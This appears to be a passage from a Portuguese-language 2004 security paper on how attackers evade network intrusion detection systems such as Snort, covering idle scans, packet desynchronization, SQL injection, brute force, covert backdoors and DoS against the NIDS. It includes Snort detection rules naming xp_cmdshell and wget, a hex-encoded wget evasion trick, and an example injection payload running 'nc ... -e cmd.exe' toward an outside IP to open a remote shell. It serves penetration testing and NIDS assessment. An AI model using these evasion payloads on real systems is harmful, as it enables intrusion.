alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN FIN"; stateless;  
flags:F,12; reference:arachnids,27; classtype:attempted-recon; sid:621;  
rev:2;)
```



O NMAP é uma ferramenta pública e por isso sempre será fácil detectá-la. Mas apesar de ser pública ela tem o código fonte aberto. Isso propicia a atacantes alterar seu código para fugir do padrão. Então, assinaturas específicas contra o NMAP seriam quebradas. No entanto, existem esquemas mais interessantes. Tais como:

+ Passive Scanning (p0f);

Passive Scanning é usado para executar ataques de OS/Server Fingerprint e tem sido explorado há mais de 05 anos publicamente. Um atacante pode analisar os pacotes que são recebidos e comparar numa base de dados previamente configurada que será capaz de determinar qual a TCP/Stack está em execução no host alvo.

De forma passiva, o atacante executa uma conexão legítima (finaliza o handshake) e analisa a resposta do host alvo. Desta forma, ele consegue obter dados que serão analisados em sua base de dados interna em busca do OS/Fingerprint.

```
/* Exemplo do uso do p0f -A -C -V */
p0f - passive os fingerprinting utility, version 2.0.4-beta1
(C) M. Zalewski <lcantuf@edione.cc>, W. Stearns <wstearns@pobox.com>
[+] Signature collision check successful.
p0f: listening (SYN+ACK) on 'eth0',57 sigs(1 generic), rule: 'all'.
10.24.0.4:80 - Linux recent 2.4 (1) (up: 868 hrs)
-> 10.24.0.159:32819 (distance 0, link: ethernet/modem)
+++ Exiting on signal 2 +++
[+] Average packet ratio: 6.67 per minute
```

Acima vemos, uma conexão legítima à porta 80 sendo feita, e o p0f detectando o sistema operacional como sendo Linux.

Vale ressaltar que em ambos os casos (uso do nmap ou p0f), os dados podem ser falsos. O que está sendo analisado é a pilha TCP/IP que interage conosco, e em redes com NAT, quase sempre a pilha TCP/IP que interage não é a do host alvo, mas sim do host que está executando NAT, logo, é possível obtermos informações falsas. Novamente o conhecimento técnico do atacante o induzirá a descobrir se a informação retornada pelo host destino é verdadeira ou falsa.

+ Iddle Scan;

Em muitos casos é possível dificultar a análise de logs de um NIDS e executar um ataque de portscan ativo através do uso de falsas máquinas zombies. O Iddle Scan é um Blind Portscan que faz com que o NIDS pense que o ataque está sendo executado através de host Zombie. O ataque é realizado através do envio de pacotes spoofados à máquina alvo com o endereço de origem apontando para o host Zombie, o atacante então analisa a incrementação do campo IP\_ID na porta 0 no host Zombie.

Os logs que serão gerados no NIDS irão ser os do host zombie. Abaixo um exemplo deste tipo de ataque:

```
# nmap -P0 -p21,22,25,80 -sI 10.24.0.194 10.24.0.4
Starting nmap 3.48(http://www.insecure.org/nmap/) at 2004-07-02 12:00 BRT
Idlescan using zombie 10.24.0.194 (10.24.0.194:80);Class: Incremental
Interesting ports on srvce04 (10.24.0.4):
PORT      STATE  SERVICE
21/tcp    closed ftp
22/tcp    open   ssh
25/tcp    open   smtp
80/tcp    open   http
Nmap run completed -- 1 IP address (1 host up) scanned in 4.210 seconds
```

Se analisarmos os logs veremos que o sistema NIDS detectou a máquina 10.24.0.194 como sendo a máquina atacante ao invés do IP Real do atacante.

Isso pode ser detectado se criando regras para monitorar a porta 0, mas o atacante poderia utilizar outra porta (uma porta aberta), então iddle scan é realmente uma técnica interessante do ponto de vista de um atacante e deve-se ter muita atenção com ela.

+ LD Scanning;

O JerrySlater algum tempo atrás nos presenteou com uma técnica bastante interessante que ele denominou “LD Scanning”. Esta técnica é muito interessante para se esconder o IP Real de um atacante.

Trata-se da instalação de um sniffer na interface que se encontra a caminho do alvo (pode ser um gateway, uma máquina na DMZ, um backbone, etc), em seguida envia um pacote SYN spoofado para uma máquina alvo e fica aguardando para ver se SYN+ACK é enviado como retorno para a máquina spoofada. Deste modo, a porta estaria aberta e o IP que será logado no host servidor e no NIDS será o IP Spoofado.



Acima vemos um atacante enviar um pacote SYN com endereço de origem spoofado da máquina à esquerda. O host destino envia com um SYN+ACK se a porta estiver aberta ou RST se tiver fechada, e o sniffer do atacante vai capturar este pacote e detectar se a porta está aberta ou não.

Maiores informações sobre esta técnica pode ser visto em:

<http://cdm.frontthescene.com.br/artigos/ldscanning.pdf>

O dns fez uma implementação dela em perl que pode ser baixada em:

<http://cdm.frontthescene.com.br/ferramentas/LD-SCANNING-POC.tgz>

Novamente fica evidente que a análise de logs precisa ser feito por pessoas qualificadas. A existência de um determinado IP no arquivo de log não deve servir como prova da origem de um ataque, pois conforme tenho frisado inúmeras vezes neste documento, é relativamente fácil enviar pacotes com o endereço IP de origem falsificado (IP Spoof).

### 4.3 - Ataques de SQL Injection/Web Hacking

Existe um grande problema em se construir regras para se detectar ataques de SQL Injection e ataques de Input Validation em suas várias formas. Alguns ataques de SQL Injection nada mais fazem do que alterar valores, por exemplo:

<http://alvo/script.php?var=1> é alterado para <http://alvo/script.php?var=X>

Nestes casos fica muito difícil se criar uma regra específica para detectar possíveis ataques. Tentar criar regras contra este tipo de ataque cairá em inúmeras condições de falso positivo, algumas até desconhecidas pelos desenvolvedores.

No entanto, existem outros ataques de SQL Injection que visam executar comandos em uma database remota. O Snort possui um arquivo de regras específico para cada um dos principais servidores de databases utilizados hoje em dia (MySQL, Oracle, PostgreSQL, etc). Abaixo podemos ver uma regra para Microsoft SQL Server:

```
alert tcp $EXTERNAL_NET any -> $WEB_SERVERS 80 (msg:"MS-SQL xp_cmdshell - program execution"; flow:to_server,established; content:"xp_cmdshell"; nocase; classtype:attempted-user;)
```

Podemos notar que a regra está à espera da string xp\_cmdshell ser enviada para a porta 80 de um servidor WEB. Mas como se quebra este tipo de regra?

Existem inúmeras formas para se quebrar este tipo de regra. Pode-se quebrar este utilizando *desincronização*, passando caracteres inválidos que serão processados pelo NIDS, mas não serão processados pela aplicação. Um exemplo básico consiste em enviar a seguinte seqüência de pacotes:

GET /alvo/script?vuln=1;xp\_cm – (Pacote Válido)

NASH - (Pacote Inválido)

dshell 'nc 200.200.200.1 23 -e cmd.exe';-- – (Pacote Válido)

O NIDS interpreta como sendo “GET /alvo/script?vuln=1;xp\_cmNASHdshell ...” já o sistema operacional interpreta “GET /alvo/script?vuln=1;xp\_cmdshell 'nc ...!;--”.

Então, muitas vezes nós podemos evadir utilizando ataques avançados.

Podemos ainda evadir regras de SQL Injection em aplicações usando validações de entrada (*input validation*).

Se algum NIDS utiliza, por exemplo, uma regra para detectar ataques de SQL Injection que usam a comando “OR 1=1”, um atacante pode evadir esta regra através de uma validação de entrada que produz o mesmo resultado, por exemplo: “OR 2=2”.

Existem várias regras em sistemas NIDS para se detectar ataques à WEB Servers. O Snort tem vários arquivos de regras que visam detectar ataques a WEB Servers. Um exemplo de regra pode ser visto abaixo:

```
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-ATTACKS wget command attempt"; flow:to_server,established; content:"wget%20"; nocase; classtype:web-application-attack; reference:bugtraq,10361; sid:1330; rev:6;)
```

Acima vemos o Snort tentar detectar a execução de wget num servidor HTTP. Como se pode evadir desta regra?

Se notarmos, veremos que o fluído dos pacotes é “to\_server”, ou seja, os dados estão sendo enviados para o servidor. Então podemos perfeitamente utilizar ataques de dessincronização para se evadir desta regra.

Mas podemos ainda evadir de outras formas. A string wget pode ser representada de “N” formas e enviadas para o WEB Server. Por exemplo, podemos representá-la em hexadecimal. Como o wget vai ser executado em uma shell, podemos usar a shell para decodificar os dados de “N” formas, um exemplo simples seria enviarmos o comando:

```
'printf\x77\x67\x61\x74'
```

O NIDS entenderia os dados como estamos mostrando, não perceberia que dentro contém a string wget em hexadecimal, já a shell do sistema alvo iria executar aquilo que a instrução printf da própria shell retornaria, ou seja, executaria o wget. Recentemente, em um de nossos serviços de pen-test descobrimos esse vetor em um dos WebMails mais usados da atualidade. Vimos que o Webmail não filtrava devidamente os caracteres e conseguimos com isso quebrar todo o sistema de filtragem que ele possuía.

Quanto a análise de URLs, uma URL pode ser obscurecida de diversas formas. Podemos “*obscurecer uma url*” passando por uma checagem de regras do NIDS. Um exemplo clássico pode ser visto abaixo:

URL Normal: <http://www.pc-help.org/obscure.htm>

URL Obscurecida: [http://!\\$^&\\*\(\)\\_+`-={}|\[::@www.pc-help.org/obscure.htm](http://!$^&*()_+`-={}|[::@www.pc-help.org/obscure.htm)

Dependendo do navegador que você usa, o endereço acima pode o levar a caminhas inesperados...). Mas lembre-se que estamos atacando “um servidor” e não um navegador.

Existem vários meios para obscurecer uma URL, consulte o site acima para ver alguns.

Uma ferramenta que executa muitos desses ataques chama-se Whisker e pode ser obtida no seguinte link: <http://www.wiretrip.net/rfp>.

Existe ainda uma biblioteca em Perl feita pelo mesmo desenvolvedor (Rain Forrest Puppy) denominada LibWhisker que possui inúmeros ataques contra sistemas NIDS. A biblioteca pode ser baixada no mesmo site citado acima. Algumas técnicas de exploração utilizadas pela LibWhisker seguem abaixo:

- URL encoding;
- ../ Directory insertion;
- Premature URL ending;
- Long URL;
- Fake Parameter;
- TAB Separation;
- Case Sensitivity;
- Windows Delimiter;
- Session Splicing;
- NULL Method;

Para as equipes de Pen-test e atacantes avançados nada acima é novidade. Um NIDS precisa fazer testes na URL para descobrir se algum dos ataques acima está sendo executado.

Possíveis recomendações quanto a ataques WEB pode ser a instalação de regras mais inteligentes. E novamente analisar o tráfego de saída e não o de entrada pode ser bem mais inteligente e eficaz nestes casos. O Snort possui um pré-processador específico para requisições http (`http_inspect`) que pode ser muito útil na detecção desses ataques.

## **4.5 - Ataques de Brute Force**

Os ataques de Brute Force têm sido explorados por atacantes há mais de três décadas. É difícil se configurar soluções efetivas contra este problema, pois muitas soluções tendem a ser paliativas (não atacar o problema em sua raiz).

No entanto, existem alguns NIDS que procuram detectar ataques de brute force de maneira semelhante aos de portscan. Com uma espécie de temporizador que fica escutando a espera de mensagens de falhas de autenticação e em caso um mesmo endereço IP receba mais de X mensagens de falhas num intervalo de tempo Y, o NIDS então loga como uma tentativa de invasão.

Então, um sistema NIDS pode ser capaz de armazenar em buffer os ataques de brute force em contas específicas, por exemplo, as contas capturadas através de emails (smtp expn, vrfy). Um atacante pode depois ir tentando senha por senha até descobrir uma conta válida (popper). Supondo que o NIDS atue de forma ativa, ele poderia “dropar” a conexão após X tentativas inválidas.

Possíveis ataques incluem o conceito de Slow scan. Onde se pode tentar uma tentativa agora e outra depois de horas. No entanto, este ataque pode ainda não ser efetivo, pois a demora em ataques de brute force pode chamar a atenção de forma demasiadamente grande. Os logs presentes no próprio sistema operacional podem ser muito chamativos.

De modo que surge a necessidade de atacar utilizando ferramentas distribuídas. Supondo um NIDS que bloqueia a conta por 5 minutos após 5 tentativas, um atacante poderia trabalhar alternando máquinas, uma máquina A testa 5, depois de 1 minuto, outra B testa 5, depois de 1 minuto outra máquina C testa mais 5 e quando a quarentena de 5 minutos terminar para a máquina A, ela volta a testar 5. Dependendo do daemon, é ainda possível atacar utilizando “thread”, com múltiplas conexões oriundas de IPs diferentes ao mesmo tempo.

Este tipo de ataque tem sido muito utilizado na atualidade contra o serviço ssh.

Algumas medidas podem ser tomadas para que o NIDS atue de forma mais eficaz, uma delas seria a captura de sessões, ou seja, o log quando as sessões forem realmente inicializadas, isso poderia indicar que um ataque de brute force foi realmente efetivo, mas ainda poderia ocasionar muitos falsos positivos.

## **4.6 - Backdoor e Trojan Horses**

Muitos NIDS checam por pacotes vindo de fora para dentro da rede. Em se tratando de backdoors, os NIDS atuam utilizando conceitos públicos e ferramentas de backdoors públicas. Não é raro conexões legítimas passarem despercebidas. Neste cenário, o de backdoors e trojan horse, três conceitos são muito interessantes:

- Connect-Back;
- convert channel;

- backdoors criptografadas;

Os ataques de tunelamento são eficazes como backdoor e trojan horse. Atuando utilizando o conceito de “*Connect-Back*”, é possível a um atacante criar um túnel que não chame a atenção do sistema alvo.

Um exemplo real é a criação de um túnel http com dados sendo criptografados e enviados via parâmetro GET de um servidor. Conceito da Little Crow, ferramenta disponibilizada pelo Clube dos Mercenários – <http://cdm.frontthescene.com.br/>.

Existem ainda os “*convert channel*”, que atuam em cima de um protocolo ou especificações do TCP/IP capazes de serem interpretados pelo host alvo, mas descartado pelo NIDS. Um exemplo é uma backdoor que envia pacotes criptografados com ISN inválidos.

Durante o I Hackers to Hackers Conference, o Fabio Portes aka fpm demonstrou inúmeros problemas que este tipo de backdoor pode ocasionar.

Pegando um gancho no conceito acima, backdoors estilo “*bindshell criptografadas*” também podem ser usadas para se evadir de um software NIDS.

Os dados criptografados podem não ser inteligíveis para o NIDS ocasionando um completo bypass da backdoor.

Temos ainda visto o uso do SSH para tunelamento de vários protocolos (telnet, ftp, dns), logo este tipo de backdoor consegue ser bastante evasivo.

Durante o I Hackers to Hacker Conferece, Rodrigo Carvalho aka Nibble demonstrou inúmeros conceitos de quebra de criptografia e também sua aplicação ao hacking.

Contra este tipo de backdoor apenas a análise de trafego anômalo em NIDS com Inteligência Artificial pode ser efetivo na detecção. Os modelos atuais tendem a apresentar problemas neste tipo de detecção.

## 4.7 - Denial Of Service

Neste tópico pretendo repassar ataques de Denial of Service que atingem diretamente o sistema NIDS. Sob o ponto de vista de um atacante, talvez seja bem mais interessante derrubar a máquina onde o NIDS se encontra do que derrubar o host destino. Duas classes de Denial of Service se sobressaem neste caso, são elas:

- Alert Flood

Atua gerando muitas entradas falsas, com pacotes spoofados no host NIDS, dificultando qualquer posterior análise forense. Existem várias ferramentas capazes de executar ataques padrões e conhecidos que serão logados pelo NIDS. No entanto isso irá gerar várias entradas falsas e em alguns casos dependendo da quantidade de dados que é enviado (isso pode ser trabalhado de forma coordenada, num ataque distribuído), o NIDS poderá então sofrer uma negação de serviço. Abaixo duas ferramentas para este tipo de ataque:

Stick - <http://www.eurocompton.net/stick/projects8.html>

Snot - <ftp://ftp.st.ryukoku.ac.jp/pub/security/tool/snot>

- DoS na Aplicação:

O Software NIDS não está imune aos problemas que qualquer software comum possui. O mesmo aplica-se em appliances e sistemas em modo bridge. Um exemplo é uma condição de Integer Overflow em Stream4 no Snort, que pode levar ao denial of service do sistema NIDS.

- Denial of Service no Sistema Operacional:

Problemas na forma como as pilhas TCP/IP dos sistemas operacionais podem ser explorados. Por exemplo, um ataque conhecido é o *Rose Attack*, este tipo de ataque visa entupir a capacidade de processamento de uma máquina através do envio de pacotes fragmentados que podem gerar loops no reassembly. Tem sido muito usado por atacantes para derrubar sistemas operacionais. Um NIDS roda em cima de um sistema operacional, o sistema operacional sofrendo DoS derruba junto consigo o NIDS.

## **5 - Outros Problemas em NIDS**

Neste item iremos abordar mais alguns problemas que um sistema NIDS pode apresentar. Iremos dar uma breve descrição destes problemas, que em essência devem ser considerados ao se projetar a instalação de um NIDS num perímetro de rede.

### **5.1 - Redes Switched (Problemas com Sniffing)**

Para que um NIDS atue de forma correta, ele precisa monitorar eventos em toda a rede ou perímetro da rede a ser protegido. Em redes com Switch ao invés de HUB, alguns NIDS atuam com sensores espalhados pela rede fazendo uma espécie de comunicação “cliente e servidor”, onde os sensores são espalhados pelas máquinas da rede e enviam logs para um servidor NIDS Central, que gera uma base de dados de logs.

No entanto, a maioria dos NIDS atua apenas com um servidor central escutando numa interface em modo promíscuo todos os dados transitados pela rede. Deste modo, ele analisa os pacotes transitando pelas estações em busca de dados suspeitos.

Se um NIDS atua com sensores espalhados pelas estações e um atacante obtém acesso a uma estação, ele pode desde derrubar o sensor e até mesmo utilizar este sensor para ludibriar o sistema de IDS, e pode ainda utiliza o sensor para interagir diretamente com o sistema NIDS.

Se um NIDS trabalha com o modelo centralizado, uma rede segmentada pode representar um problema, pois não bastaria apenas “setar” a interface em modo promíscuo para obtenção dos pacotes transitando pela rede. Outros recursos então seriam necessários, fazendo com que, em alguns casos, seja necessário a mudança na topologia da rede.

## **5.2 - Redes de Alta-Transmissão**

Muitas redes transmitem dados em altíssima velocidade. A grande maioria dos sistemas NIDS trabalha coletando e manuseando dados a no máximo 100 Mbps. Alguns IDSs não possuem suporte a tecnologias como ATM e GigaBit Ethernet, de modo que, muitas vezes se faz necessário alterações na Topologia de uma Rede para a utilização de um NIDS pela mesma.

Em Redes de Alta-Transmissão, a análise de regras pode exigir um processamento considerável, e conseqüentemente, máquinas com poder de processamento grande.

Algumas soluções têm sido estudadas. Uma delas diz respeito à utilização de Massivo Processamento Paralelo (MPP) para trabalhar na leitura das regras em redes de grande porte, onde vários sistemas trabalham em cima de “Clusters”, processando dados paralelamente visando conseguir detectar os ataques com o menor número de falsos positivos possível.

No entanto, os custos envolvidos nestes projetos são consideráveis e os problemas envolvendo falso positivos são reais.

## **5.3 - Falhas no Software NIDS (libpcap, libnids, etc)**

Os NIDS nada mais são que softwares atuando como sniffers e tratando pacotes transitando em uma interface de rede. Sendo assim, problemas inerentes a qualquer daemon/servidor, também podem estar presentes nos softwares NIDS. Exemplos públicos e atuais existem aos montes. Alguns que destaco, são os seguintes:

\* **Snort TCP Packet Reassembly Integer Overflow Vulnerability**

(<http://www.securityfocus.com/bid/7178>);

Há aproximadamente 01 ano atrás, vimos uma condição de buffer overflow existente no Snort capaz de permitir execução remota de comandos na máquina possuidora do NIDS.

A falha estava presente no pré-processador stream4, responsável pelo reassembly de pacotes TCP fragmentados.

\* **Internet Security Systems Protocol Analysis Module SMB Parsing Heap Overflow Vulnerability**

(<http://www.securityfocus.com/bid/9752>)

Um Módulo que trata pacotes SMB, existente em diversos produtos da ISS, contém uma falha de segurança que pode permitir a um atacante executar comandos arbitrários num sistema NIDS. Este problema está presente nos produtos RealSecure, Proventia, dentre outros da ISS.

Deve-se notar que esta falha foi reportada em Fevereiro de 2004.

\* **Libnids TCP Packet Reassembly Memory Corruption Vulnerability**

(<http://www.securityfocus.com/bid/8905>)

LIBNIDS é uma biblioteca de alto-nível utilizada para construir sistemas NIDS de forma automatizada. No dia 15 de outubro de 2003 foi tornada pública uma condição de buffer overflows num recurso de manuseio de pacotes TCP fragmentados. Esta falha permitia a execução de comandos remotos numa máquina com a LibNIDS em execução.

Esses são apenas alguns exemplos que demonstra que um NIDS pode ser usado como porta de entrada numa rede, em outras palavras, o NIDS pode ser invadido. Então, deve-se sempre levar em conta que outros recursos de segurança precisam acompanhar um sistema NIDS como a hardenização do perímetro e instalação de outras ferramentas de segurança detectoras de ataques.

## 5.4 - Serviços Criptografados (VPN)

Para que a análise de pacotes por parte de um NIDS seja efetiva ele precisa no mínimo conhecer de forma limpa (entender) os dados que estão transitando na interface. Se um serviço está sendo criptografado, torna-se inviável a um NIDS analisar os pacotes e conseqüentemente muitos ataques podem passar despercebidos.

Com o aumento no número de sistemas e serviços utilizando o conceito de VPN (Virtual Private Network), torna-se mais comum este tipo de problema.

O mesmo aplica-se a serviços criptografados como SSL e SSH.

Alguns NIDS manuseiam certificados, mas novamente caímos na questão “desempenho”, pois isto limita e muito a capacidade de processamento de um NIDS, em alguns casos chegando a ser completamente inviável o uso de tal recurso.

## 6 - Ferramentas Públicas

Listo nesta parte algumas ferramentas que podem ser usadas para se validar a segurança de um NIDS e verificar se um NIDS realmente está conseguindo detectar ataques avançados.

+ Ferramentas para teste de NIDS:

Whisker (Web Evasion) – <http://www.wiretrip.net/rfp/>

NIDSBench (Fragrouter / TCPReplay) –  
<http://packetstorm.widexs.nl/UNIX/IDS/nidsbench/nidsbench.html>

IDSWakeUp - <http://www.hsc.fr/ressources/outils/idswakeup/>

Congestant – <http://www.phrack.org/>

Ftester - <http://sourceforge.net/projects/ftester/>

ISIC - <http://www.packetfactory.net/projects/ISIC/>

Mendax - <http://adam.kaist.ac.kr/~bugsy/mendax.html>

Siden - <http://siden.sourceforge.net/>

TCP Replay – <http://sourceforge.net/projects/tcpreplay/>

+ Ferramentas para construção e análise de pacotes:

Hping - <http://www.hping.org/>

Paketto - <http://www.doxpara.com/read.php/code/paketto.html>

Nemesis - <http://nemesis.sourceforge.net/>

Packit - <http://www.packetfactory.net/projects/packit/>

## **7 - O Futuro dos NIDS**

### **Relatório da Gartner (2003)**

Em um relatório intitulado “Intrusion Detection Is Dead - Long Live Intrusion Prevention”, a empresa de consultoria Gartner recomendou a adoção de sistemas de Statefull Firewalls ao invés da tecnologia de IDS, alertando que a mesma já estaria ultrapassada:

[http://www.giac.org/practical/GSEC/Tim\\_Wickham\\_GSEC.pdf](http://www.giac.org/practical/GSEC/Tim_Wickham_GSEC.pdf)

Muitas críticas surgiram ao documento, no entanto ele demonstrou a necessidade de se pensar em melhores formas de prover segurança além do conceito de assinaturas presentes em sistemas NIDS.

### **Sistemas de IDS com Data Mining e Spectrum Analysis**

Existe uma forte tendência de agregar sistemas NIDS com soluções locais, como TPE(Trusted Path Execution), systrace e etc. Para que os NIDS funcionem de maneira efetiva, faz-se necessário uma análise mais apurada dos dados, manuseando recursos e base de dados e análise spectral.

A quantidade de dados trafegando em redes também está aumentando, então faz-se necessário cada vez mais, melhores algoritmos de busca, e conceitos de mineração de dados têm sido usados na construção de NIDS mais eficazes.

Como vimos, um dos problemas que apresentam os NIDS é a incapacidade de processar os pacotes da forma como a pilha TCP/IP do host alvo processará e também a aplicação ou serviço remoto processará. E isto é bem explorado em ataques de pattern match, como os citados no caso dos buffer overflows. Pensando em dificultar este tipo de ataque, tem-se pensado na utilização de análise spectral, um conceito já existente em alguns anti-vírus para se detectar vírus polimórficos e que tem sido trazido ao mundo dos sistemas NIDS para tentar detectar shellcodes polimórficos/metamórficos.

## **Sistemas de Inteligência Artificial**

Alguns sistemas NIDS já estão sendo criados utilizando conceitos de redes neurais, onde se analisa os pacotes com base em tráfego normal e tráfego anômalo. Os sistemas de NIDS com inteligência artificial detectam tráfego anômalo e procuram ver se um ataque está em execução. Muitas pesquisas têm sido desenvolvidas nesta área, com métodos de objetivação e sistemas especialistas sendo criados.

A busca heurística também tem sido aplicada aos NIDS com ênfase na detecção de ataques avançados como os que quebram pattern matching mostrados neste documento.

### **Fraquezas Conceituais Futuras**

No caso dos sistemas de IDS com Mineração de Dados e Análise Spectral, os ataques de evasão ainda podem ser utilizados, onde o atacante pode criar meios de gerar “Falsos Negativos”, utilizando metamorfismo, validação de dados na aplicação, e etc.

No caso de Sistemas com Inteligência Artificial, os modelos existentes aprendem em cima de regras, onde um atacante pode descobrir como ocorre o aprendizado (seja via motor de inferência, etc) e criar ataques que levem o NIDS a pensar que se trata de atitudes normais do sistema. Isso é especialmente real em ataques de SQL Injection, onde um atacante pode subverter até mesmo pessoas, humanos, fazendo com que o teste de turing seja irrelevante.

## **8 - Conclusão**

Um sistema NIDS pode representar um considerável aumento na segurança contra ataques padrões ou atacantes com conhecimentos básicos. A situação não é a mesma quando atacantes avançados ou grupos de atacantes avançados estão por trás das tentativas.

De modo que, as tecnologias atuais de NIDS podem não representar grandes empecilhos contra atacantes avançados, isso inclui NIDS comerciais com custo elevado de manutenção. O futuro pode exigir maior empenho dos atacantes, mas as tecnologias já estão nascendo com fraquezas conceituais.

Um sistema NIDS jamais pode ser considerado como uma solução efetiva aos problemas de segurança. E o seu uso como complemento jamais deve ser primário (exemplo da atualização da Base de Dados do NIDS antes de um patche num software vulnerável), mas sim deve ser visto como um complemento, nada mais que um complemento.

Outro fator importante que consideramos é o custo de manutenção deste tipo de solução, onde existe a necessidade de atualização permanente, e no caso de empresas com regras (ou serviços) específicas o acompanhamento da atualização e inserção de novas regras por um analista de segurança capacitado.

Nenhum software, mesmo um sistema especialista, é capaz de substituir um especialista humano, de modo que, as empresas e a comunidade de segurança precisam debater a questão da conscientização e elevação dos conhecimentos técnicos dos envolvidos em gerenciar a segurança.

Espero que este documento e as discussões geradas durante o I Hacker To Hackers Conference possam ser levadas a toda comunidade de segurança como um alerta sobre a confiança exagerada depositada em NIDS por parte de algumas empresas do ramo de segurança.

Um cordial abraço a todos,

Glaudson Ocampos / Nash Leon.  
Membro da Equipe de Pen-test do  
Intruders Tiger Team Security  
<http://www.intruders.com.br/>

## 9 - Créditos

Links que serviram como base de pesquisa:

<http://www.phrack.org/>  
<http://www.ouah.org/>  
<http://packetstormsecurity.nl/>  
<http://www.securityfocus.com/>

I

Outros Links de Referência:

<http://www.nss.co.uk/>  
<http://cdm.frontthescene.com.br/>  
<http://www.frontthescene.com.br/>  
<http://www.insecure.org/>  
<http://www.motdlabs.org/>  
<http://www.linuxsecurity.com/>  
<http://www.linuxsecurity.com.br/>  
<http://www.istf.com.br/>  
<http://www.codebreakers.com.br/>

Links de Softwares NIDS:

SNO1 – Snort NIDS – <http://www.snort.org/>  
GUA1 - Guardian - [http://www.snort.org/dl/contrib/other\\_tools/guardian/](http://www.snort.org/dl/contrib/other_tools/guardian/)  
REA1 – ISS Real Secure - <http://www.iss.net/>  
PRE1 – Prelude IDS – <http://www.prelude-ids.org/>